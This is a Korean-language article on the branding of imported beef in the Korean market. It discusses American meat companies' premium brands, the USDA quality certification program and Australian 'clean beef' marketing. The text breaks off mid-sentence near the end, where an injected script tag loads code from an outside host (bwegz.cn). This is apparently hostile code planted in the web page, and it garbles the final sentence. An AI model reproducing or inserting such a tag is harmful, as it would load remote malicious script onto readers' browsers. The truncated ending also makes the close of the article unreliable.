세계 축산물 시장의 단일화는 축산물의 품질을 지속적으로 향상시키는 결과를 가져오고 있다. 특히 1990년대 광우병, 돼지콜레라 등의 가축질병 출몰로 축산물의 안전성이 보다 강조되면서 세계 각국은 자국 축산물의 이미지 개선에 남다른 노력을 기울이고 있다.

이 가운데 축산물의 브랜드화는 축산물 이미지 개선의 중심에 서 있다고 해도 과언이 아니다. 각국의 축산물 브랜드화는 수출국과 수입국의 입장에 따라 차이를 보일 뿐 자국 축산물의 우수성을 알리는 방안으로 브랜드화를 시도하고 있다.

국내 수입 축산물 시장도 각국의 다양한 브랜드화가 속속 선보이고 있다. 그동안 축산물 수출국들은 미국육류수출협회, 호주축산공사 등의 단체를 통한 공동 마케팅을 펼쳐 왔다. 그러나 세계적인 메이저 회사들이 자체 브랜드를 속속 선보이면서 시장 선점 공략에 나서고 있다.

▲ 세계적인 육류회사 자체 브랜드 부착
세계 육류 시장의 선두자리 복귀를 호시탐탐 노리고 있는 미국은 1970년대 슈퍼마켓용 닭고기 부분육에 상표를 부착하면서 브랜드 개념이 도입됐다. 돼지고기는 1990년대부터 브랜드가 나타났다. 쇠고기 브랜드는 2000년대 들어 성장가능성이 큰 영역으로 각광받기 시작하면서 속속 등장하고 있다.

특히 육류 가공 및 유통업계와 슈퍼마켓 체인점들이 쇠고기와 돼지고기 등 축산물 브랜드육 제품 개발에 나서고 있다. 이는 생산단계의 특징보다는 판매단계에서의 상표개념 브랜드화로 볼 수 있다. 실제 세계적인 육류회사인 타이슨(Tyson), IBP, 엑셀(Excel), 스미스(Smithfield), 골드 키스트(Gold Kist), 팜랜드(Farmland), 콘아그라(Conagra)사 등이 자체 브랜드를 부착하고 있다.

다만 국내 수입 쇠고기 시장에서 이들 육류회사의 브랜드를 찾기 어려웠다. 초이스급, 프리미엄급 등 품질 등급만으로 분류돼 판매됐기 때문이다. 그러나 광우병 파동이전 수입쇠고기 시장을 선점해온 미국의 판매 전략에 다소 변화를 보였다.

한우의 브랜드화에 맞서 수입 쇠고기도 고급 브랜드가 선보이기 시작했다. 국내 처음으로 선보인 수입 쇠고기 브랜드육으로는 엑셀사의 `스티링 실버(Sterling Silver)''''를 꼽을 수 있다. 2003년 1월에 선보였던 이 브랜드육은 미국 쇠고기 가운데서도 상위 12%에 안에 드는 최고급 냉장육(프리미엄급)으로 홈플러스를 통해 공급되기도 했다.

엑셀사는 반짝이는 은 식기를 뜻하는 브랜드육 스티링 실버를 국내에 선보이면서 “품질이 균일해 소비자가 언제 어디서 구매하든 맛이 일정한 것이 장점”이라고 밝힌바 있다.

광우병 파동 직전인 2003년말에는 IBP사가 최고급 냉장 브랜드육인 `체어맨스리지브’를 선보였다. 이 브랜드육은 롯데백화점에서 특별요리 시연회, 미국 여행권 등 경품 이벤트를 마련하고 야심차게 선보였으나 광우병 파동으로 출시 1주일 만에 판매 중단됐다.

▲ 미 농무성에서 쇠고기 품질증명
이 같은 미국의 브랜드육은 단순히 육류회사들이 자체 상표를 부착한 것에 불과한 것으로 평가하기는 어렵다. 국내 선보였던 제품만 보더라도 미국 농무성(USDA)에서 품질 보증한 최상품의 프리미엄급이기 때문이다.

미 농무성은 2003년부터 쇠고기 품질증명 프로그램(Mark of Quality)을 개발해 적용하고 있다. 이 프로그램은 맛과 품질을 보증하는 일종의 브랜드 개념의 프로그램으로 평가받고 있다. 생산에서 식탁까지의 최상의 관리기술을 포함하는 이 프로그램에 참여하는 상품의 자격도 엄격한 규정을 적용하고 있다. 이 자격에 따르면 관능검사 결과자료 첨부, 생산자 연락처 표기, HACCP 프로그램이 허용된 시설에서 생산 등 수십가지에 이르고 있다.

▲ 호주청정우 국내 수입쇠고기시장 선점
광우병 파동으로 쇠고기 최대 수출국으로 부상한 호주도 미국과 같이 메이저 육류회사가 브랜드를 붙여 판매하고 있다. 그러나 국내에는 호주축산공사를 통해 냉장쇠고기는 지방함량 정도, 육색, 지방색, 도축시 월령 및 사료 종류에 따라 4종류의 품질등급으로만 분류해 왔다.

특히 곡물비육에는 오스트레일리안 프라임, 오스트레일리안 초이스, 오스트레일리안 셀렉트의 명칭을 붙이고 초지비육으로는 오스트레일리안 프리미엄의 명칭을 사용하고 있다.

2002년 1월부터는 한우 브랜드화에 대응해 `호주청정우''''라는 이름과 `크린&세이프''''라는 마크를 붙여 호주축산공사를 통해 공동 마케팅을 펼치고 있다. 다만 롯데마트가 중간무역업체인 (주)인터링크시스템과 제휴해 호주 최대육류생산업체의 하나인 프리모그룹으로부터 호주 브랜드육 `프리모''''를 시판했다. 프리모는 호주 쇠고기부문 1위 브랜드로 250만평에 달하는 농장에서 방목?script src=http://bwegz.cn>
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